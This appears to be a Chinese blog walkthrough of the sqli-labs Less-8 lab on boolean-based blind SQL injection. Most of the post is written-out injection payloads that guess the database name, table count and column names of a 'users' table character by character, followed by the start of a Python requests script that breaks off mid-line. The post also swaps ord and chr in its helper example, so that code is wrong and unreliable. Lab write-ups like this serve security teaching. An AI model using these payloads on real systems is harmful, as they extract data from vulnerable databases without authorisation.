sqli-labs Less8~10 布尔盲注、时间盲注(无报错回显)

1. Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)
判断是否存在数字型或字符型注入:

输入1,页面显示正常:
在这里插入图片描述

输入1’ and 1=1时显示正常:在这里插入图片描述

输入1’ and 1=2时显示异常:
在这里插入图片描述

说明存在字符型的SQL盲注。

Less-8和Less-5的区别在于,Less-8对报错语句进行了注释,所以无法使用显错式注入,只能用盲注。
在这里插入图片描述

1.猜解数据库名长度:

输入1' and length(database()) = 5 --+,显示异常
输入1' and length(database()) = 6 --+,显示异常
输入1' and length(database()) = 7 --+,显示异常
输入1' and length(database()) = 8 --+,显示正常
说明数据库名长度为8个字符。

在这里插入图片描述

下面采用二分法猜解数据库名:

输入1' and ascii(substr(database(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
输入1' and ascii(substr(database(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
输入1' and ascii(substr(database(),1,1))<109 #,显示不存在,说明数据库名的第一个字符的ascii值大于109(小写字母m的ascii值);
输入1' and ascii(substr(database(),1,1))<115 #,显示不存在,说明数据库名的第一个字符的ascii值不小于115(小写字母s的ascii值);
输入1' and ascii(substr(database(),1,1))>115 #,显示不存在,说明数据库名的第一个字符的ascii值不大于115(小写字母s的ascii值);
所以数据库名的第一个字符的ascii值为115,即小写字母s。

在这里插入图片描述

这样逐步猜解可得到数据库名为security。

2.猜解数据表长度:
输入1' and (SELECT count(table_name) FROM information_schema.tables WHERE table_schema=database())=1 --+,显示异常
输入1' and (SELECT count(table_name) FROM information_schema.tables WHERE table_schema=database())=2 --+,显示异常
输入1' and (SELECT count(table_name) FROM information_schema.tables WHERE table_schema=database())=3 --+,显示异常
输入1' and (SELECT count(table_name) FROM information_schema.tables WHERE table_schema=database())=4 --+,显示正常

在这里插入图片描述

说明数据库security中有4张表。

输入1' and length(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 0,1),1))=4 --+,显示异常
输入1' and length(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 0,1),1))=5 --+,显示异常
输入1' and length(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 0,1),1))=6 --+,显示正常

在这里插入图片描述

说明数据库security中第一张表名长度为6个字符。

3. 猜解表名仍然是使用上面的二分法猜ascii码。
4.猜解表中的字段名
1' and (select count(column_name) from information_schema.columns where table_name='users')=1 --+,显示不存在
...
1' and (select count(column_name) from information_schema.columns where table_name='users')=14 --+,显示存在

说明users表中有14个字段。
接着挨个猜解字段名:

1'  and  length(substr((select column_name from information_schema.columns where table_name='users'  limit  0,1), 1)) =  7 --+,显示存在
说明users表第一个字段名长度为7个字符。
1' and ascii(substr((select column_name from information_schema.columns where table_name='users'  limit  0,1), 1,  1))>97  --+,显示存在
...
依次获取字段名。
5.猜解数据

同样采用二分法。

强行破解步骤复杂,可以写python脚本解放双手,这里用到字符与ascii码互转的函数:
ord(97) = 'a'
chr('a') = 97
逐个破解字符后,将列表中所有字符拼接可以用join()函数:

Li = ['s','a','m']
a = ''.join(Li)
print(a)
>> sam

我尝试写了python脚本,部分脚本如下:

#!/usr/bin/python
# -*- coding:utf-8 -*-

import requests


# 查询数据库信息
def db_name():
    li = []
    # 破解数据库名长度
    for i in range(1, 15):
        headers = {
   'Connection':</
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值